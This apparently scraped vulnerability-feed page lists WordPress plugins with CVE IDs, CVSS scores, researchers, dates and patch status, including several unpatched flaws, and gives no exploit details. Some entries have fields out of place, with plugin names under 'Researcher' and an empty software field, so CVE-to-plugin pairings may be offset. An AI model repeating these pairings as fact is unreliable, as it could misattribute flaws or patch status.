Jul 27, 2026

Affected Software

Uncanny Automator – Easy Automation, Integration, Webhooks & Workflow Builder Plugin [uncanny-automator]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-18352

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

User Access Manager [user-access-manager]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-14785

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Web Directory Free [web-directory-free]

Researchers

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-12741

Patch Status

Unpatched

Published
Jul 27, 2026

Affected Software

WP Fast Total Search – The Power of Indexed Search [fulltext-search]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-65520

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

WP OAuth Server ( Login with WordPress ) [miniorange-oauth-20-server]

Researcher

Luis Koleski

CVSS Rating
7.2 (High)

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Advanced Shipment Tracking for WooCommerce [woo-advanced-shipment-tracking]

Researcher

Nguyen Truong (Roll)

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65515

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

AffiliateWP [affiliate-wp]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65545

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

AI Engine – The Chatbot, AI Framework & MCP for WordPress [ai-engine]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65448

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Anti Spam and list cleaner – AcyChecker [acychecker]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65443

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

BackWPup – WordPress Backup & Restore Plugin [backwpup]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-16585

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Better Messages – Chat Rooms, Group Chat, Private Messages & AI Chat Bots [bp-better-messages]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-59558

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Booking Calendar [booking]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65447

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe [contest-gallery]

Researcher

Jayant Kamble

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-13425

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Database for CF7 [database-for-cf7]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-12476

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Easy Digital Downloads – eCommerce Payments and Subscriptions made easy [easy-digital-downloads]

Researcher

Tal Kantor

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65517

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Easy PayPal & Stripe Buy Now Button [wp-ecommerce-paypal]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-16655

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder [fluentform]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65442

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

FormCraft [formcraft]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65440

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

GetGenie – AI SEO Assistant & Content Writer with Keyword Research, AEO & GEO [getgenie]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66690

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

GiveWP – Donation Plugin and Fundraising Platform [give]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65441

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

GiveWP – Donation Plugin and Fundraising Platform [give]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-16597

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

GTM4WP – A Google Tag Manager (GTM) plugin for WordPress [duracelltomi-google-tag-manager]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-8143

Patch Status

Unpatched

Published
Jul 29, 2026

Affected Software

HBook – Hotel booking system – WordPress Plugin [hbook]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65446

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Kali Forms — Contact Form & Drag-and-Drop Builder [kali-forms]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-15052

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

MailChimp Subscribe Form, Optin Builder, PopUp Builder, Form Builder [mailchimp-subscribe-sm]

Researcher

she11f

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65438

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Message Filter for Contact Form 7 [cf7-message-filter]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66707

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Meta for WooCommerce [facebook-for-woocommerce]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66705

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Meta pixel for WordPress [official-facebook-pixel]

Researcher

Tarcísio Luchesi(Poystick)

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-61957

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

miniOrange OTP Login, Verification and SMS Notifications [miniorange-otp-verification]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-66702

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Rank Math SEO – AI SEO Tools to Dominate SEO Rankings [seo-by-rank-math]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-61953

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Simple Link Directory Pro – AI Powered [simple-link-directory-pro]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65513

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Simply Schedule Appointments [simply-schedule-appointments]

Researcher

whitebyte

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65544

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Social Share, Social Login and Social Comments Plugin – Super Socializer [super-socializer]

Researcher

lqc

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65437

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Spam protection, Honeypot, Anti-Spam by CleanTalk [cleantalk-spam-protect]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-13440

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

StoreGrowth – Upsell, BOGO, Quick View, Direct Checkout & Side Cart for WooCommerce [storegrowth-sales-booster]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-15397

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

Subscriptions for WooCommerce [subscriptions-for-woocommerce]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65439

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Ultra Addons for Contact Form 7 [ultimate-addons-for-contact-form-7]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-65509

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

wpDataTables – WordPress Data Table, Dynamic Tables & Table Charts Plugin [wpdatatables]

Researcher

CVSS Rating
6.6 (Medium)

CVE-ID

CVE-2026-17605

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Payment forms, Buy now buttons, and Invoicing System | GetPaid [invoicing]

Researcher

Advanced Views – Display Custom Fields (ACF, Pods, MetaBox), Posts, CPT and Woo Products anywhere in Gutenberg, Elementor, Divi, Beaver… [acf-views]

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-17580

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-6251

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Chaty Pro [chaty-pro]

Researcher

Louis Deschanel (JeanJeanLeHaxor)

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-65547

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Creative Mail – Easier WordPress & WooCommerce Email Marketing [creative-mail-by-constant-contact]

Researcher

Taichi Kashimura

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-6453

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

CubeWP Framework [cubewp-framework]

Researchers

Pascal SUN

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-66476

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Easy Digital Downloads – eCommerce Payments and Subscriptions made easy [easy-digital-downloads]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-16087

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Icegram Engage – Popups, Optins, CTAs & Lead Generation [icegram]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-16092

Patch Status

Unpatched

Published
Jul 29, 2026

Affected Software

Improved Save Button [improved-save-button]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-5060

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

MasterStudy LMS WordPress Plugin – for Online Courses and Education [masterstudy-lms-learning-management-system]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-15304

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Plugin Organizer [plugin-organizer]

Researcher

zhuxuan wu

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-15267

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Taskbuilder – Project Management & Task Management Tool With Kanban Board [taskbuilder]

Researcher

zalomkiller

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-15153

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

WP Hotel Booking [wp-hotel-booking]

Researcher

Mokksh Parekh

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15662

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Advanced Woo Labels – Product Labels & Badges for WooCommerce [advanced-woo-labels]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-13330

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Animation Addons for Elementor – GSAP Motion Elementor Addons & Website Templates [animation-addons-for-elementor]

Researcher

Vaibhav Narkhede

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-61970

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Auto Featured Image (Auto Post Thumbnail) [auto-post-thumbnail]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-8791

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Booking System Trafft [booking-system-trafft]

Researcher

Hardik Patel

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-61959

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Business Directory Plugin – Easy Listing Directories for WordPress [business-directory-plugin]

Researcher

Mukhlis Amien

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15735

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Contact Form to Any API [contact-form-to-any-api]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15950

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Cozy Blocks – Page Builder for Gutenberg Editor & FSE with 700+ Patterns, 58 Blocks & Templates [cozy-addons]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15393

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Cozy Blocks – Page Builder for Gutenberg Editor & FSE with 700+ Patterns, 58 Blocks & Templates [cozy-addons]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-16685

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Download Manager [download-manager]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-16684

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Easy Property Listings [easy-property-listings]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-13344

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Essential Addons for Elementor – Popular Elementor Templates & Widgets [essential-addons-for-elementor-lite]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-12231

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

Exclusive Addons for Elementor [exclusive-addons-for-elementor]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66437

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

RSS Aggregator by Feedzy – Feed to Post, Autoblogging, News & YouTube Video Feeds Aggregator [feedzy-rss-feeds]

Researcher

Muni Nitish Kumar Yaddala

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-11881

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder [fluentform]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66448

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Gallery PhotoBlocks [photoblocks-grid-gallery]

Researcher

Muhammad Sharief

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-16091

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress [gamipress]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15730

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress [gamipress]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-16090

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

GamiPress – Gamification plugin to reward points, achievements, badges & ranks in WordPress [gamipress]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-13458

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

GenerateBlocks [generateblocks]

Researcher

Or Benit

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-14318

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

GiveWP – Donation Plugin and Fundraising Platform [give]

Researcher

Meher Sudhakar Abbireddi

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-18435

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Kadence Blocks — Page Builder Toolkit for Gutenberg Editor [kadence-blocks]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-18062

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Kadence Blocks — Page Builder Toolkit for Gutenberg Editor [kadence-blocks]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-14207

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

LifterLMS – WP LMS for eLearning, Online Courses, & Quizzes [lifterlms]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66433

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Location Weather – WordPress Weather Forecast, Air Quality & Weather Widget [location-weather]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66703

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

MailOptin – Popup, Optin Forms & Email Newsletters for Mailchimp, HubSpot, AWeber Etc. [mailoptin]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-12939

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Newsletters [newsletters-lite]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-12938

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Newsletters [newsletters-lite]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66445

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Open User Map – Interactive Leaflet Maps [open-user-map]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15016

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Paid Memberships Pro – Content Restriction, User Registration, & Paid Subscriptions [paid-memberships-pro]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66434

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Photonic Gallery & Lightbox for Flickr, SmugMug & Others [photonic]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15645

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Powerkit – Supercharge your WordPress Site [powerkit]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15644

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Powerkit – Supercharge your WordPress Site [powerkit]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15649

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Powerkit – Supercharge your WordPress Site [powerkit]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-59559

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

RT Mega Menu – Mega Menu Builder for Elementor & Gutenberg [rt-mega-menu]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-13362

Patch Status

Unpatched

Published
Jul 31, 2026

Affected Software

SendPulse Email Marketing Newsletter [sendpulse-email-marketing-newsletter]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-7623

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

SureForms – Contact Form Builder, AI Forms, Payment Form, Survey & Quiz [sureforms]

Researcher

Nguyen Ba Khanh – HPT Vietnam Corporation

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66688

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

Ultimate Addons for Elementor [ultimate-elementor]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-17162

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

WowStore – Store Builder & Product Blocks for WooCommerce [product-blocks]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-17161

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

WowStore – Store Builder & Product Blocks for WooCommerce [product-blocks]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-7436

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

WPC Badge Management for WooCommerce [wpc-badge-management]

Researcher

Osvaldo Noe Gonzalez Del Rio (Os)

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-66711

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

WPML Multilingual & Multicurrency for WooCommerce [woocommerce-multilingual]

Researcher

Coopernicus

CVSS Rating
6.1 (Medium)

CVE-ID

CVE-2026-17571

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder [fluentform]

Researcher

CVSS Rating
6.1 (Medium)

CVE-ID

CVE-2026-66664

Patch Status

Unpatched

Published
Jul 31, 2026

Affected Software

GEO Plugin by Squirrly SEO [squirrly-seo]

Researcher

CVSS Rating
6.1 (Medium)

CVE-ID

CVE-2026-18197

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

Link Library [link-library]

Researcher

Joshua Martinelle

CVSS Rating
6.1 (Medium)

CVE-ID

CVE-2026-18344

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Responsive Thumbnail Slider [wp-responsive-thumbnail-slider]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65445

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Ad Invalid Click Protector (AICP) [ad-invalid-click-protector]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-15054

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Bit Form – Contact Form, Payment Forms, Multi Step Forms, Calculator & Custom Form Builder [bit-form]

Researcher

Charles Vosburgh

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65504

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

BOX NOW Delivery Croatia + Slovenia [box-now-delivery-croatia]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65551

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Breakdance [breakdance]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-15018

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Database Collation Fix [database-collation-fix]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-15012

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Demi – One Click Demo Import, Backup & Site Migration [demi-backup-migration]

Researcher

SAHRAOUI AYMEN

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65502

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Element Pack Addons for Elementor – Elementor Widgets, Elementor Templates, Elementor Addons [bdthemes-element-pack-lite]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-13345

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Essential Addons for Elementor – Popular Elementor Templates & Widgets [essential-addons-for-elementor-lite]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-66438

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Exclusive Addons for Elementor [exclusive-addons-for-elementor]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-17567

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder [fluentform]

Researcher

ChinhNguyen

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65523

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Formidable Forms Signature Online Contract Automation [forms-signature-formidable-online-contract-automation]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-66477

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Gillion | Multi-Concept Blog/Magazine & Shop WordPress AMP Theme [gillion]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-11995

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Gutena Forms – Contact Form, Survey Form, Feedback Form, Booking Form, and Custom Form Builder [gutena-forms]

Researcher

Endang Alfarisi

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-61976

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

JetBlocks for Elementor [jet-blocks]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-61975

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

JetReviews [jet-reviews]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-61977

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

JetSearch [jet-search]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-4604

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Klubraum Membership Request [klubraum-membership-request]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-18436

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

MailerPress – Email Marketing, Newsletter, Email Automation & WooCommerce Emails [mailerpress]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-18437

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

MailerPress – Email Marketing, Newsletter, Email Automation & WooCommerce Emails [mailerpress]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-28145

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

MasterStudy LMS WordPress Plugin – for Online Courses and Education [masterstudy-lms-learning-management-system]

Researcher

PDFDraft – Drag & Drop PDF Builder, PDF Viewer, Embed & Download PDF, Certificate & Invoice Designer [pdfdraft]

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-12124

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Researcher

sl4x0

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-1982

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

المنتور فارسی [persian-elementor]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-18059

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

PixelYourSite – Your smart PIXEL (TAG) & API Manager [pixelyoursite]

PixelYourSite Pro – Your smart PIXEL (TAG) Manager [pixelyoursite-pro]

Researcher

Win3

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-15257

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login [custom-registration-form-builder-with-submission-manager]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-15255

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login [custom-registration-form-builder-with-submission-manager]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-61972

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

ShopLentor Pro [woolentor-addons-pro]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65542

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Social Share, Social Login and Social Comments Plugin – Super Socializer [super-socializer]

Researcher

Nguyen Dinh Hai (HaiND)

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65541

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Staff Training [staff-training]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-13110

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

StoreGrowth – Upsell, BOGO, Quick View, Direct Checkout & Side Cart for WooCommerce [storegrowth-sales-booster]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-15411

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

StoreGrowth – Upsell, BOGO, Quick View, Direct Checkout & Side Cart for WooCommerce [storegrowth-sales-booster]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65435

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Thrive Leads [thrive-leads]

Researcher

Dave Jong

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-25403

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Ultimate Store Kit – Addon For WooCommerce, EDD and Elementor [ultimate-store-kit]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-66701

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor [profile-builder]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-66695

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

W3 Total Cache [w3-total-cache]

Researcher

Mykel Nelson

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2025-14073

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

WooCommerce PayPal Payments [woocommerce-paypal-payments]

Researcher

Drew Webber (mcdruid)

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-14305

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

WP Delicious – Recipe Plugin for Food Bloggers (formerly Delicious Recipes) [delicious-recipes]

Researcher

Pedro Pinho

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-16774

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

WPBot – AI ChatBot for Live Support, Lead Generation, AI Services [chatbot]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-16773

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

WPBot – AI ChatBot for Live Support, Lead Generation, AI Services [chatbot]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-66473

Patch Status

Unpatched

Published
Jul 27, 2026

Affected Software

Xendit Payment [woo-xendit-virtual-accounts]

Researcher

CVSS Rating
5.0 (Medium)

CVE-ID

CVE-2026-11598

Patch Status

Unpatched

Published
Jul 27, 2026

Affected Software

Shortcodify [shortcodify]

Researcher

zakaria

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-66427

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

WP Google Review Slider [wp-google-places-review-slider]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-16614

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

GSheetConnector – Contact Form 7 Google Sheets Connector & Save CF7 Entries to Database [cf7-google-sheets-connector]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15951

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Icegram Mailer – Reliable Email Deliverability, No-code SMTP Replacement & Email logs [icegram-mailer]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15601

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Kirki – Freeform Page Builder, Website Builder & Customizer [kirki]

Researchers

cuokon

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15403

Patch Status

Unpatched

Published
Jul 31, 2026

Affected Software

Pinpoint Booking System – Version 2 [booking-system]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-16811

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

ShopLentor – All-in-One WooCommerce Growth & Store Enhancement Plugin [woolentor-addons]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15671

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery [sms-alert]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15670

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

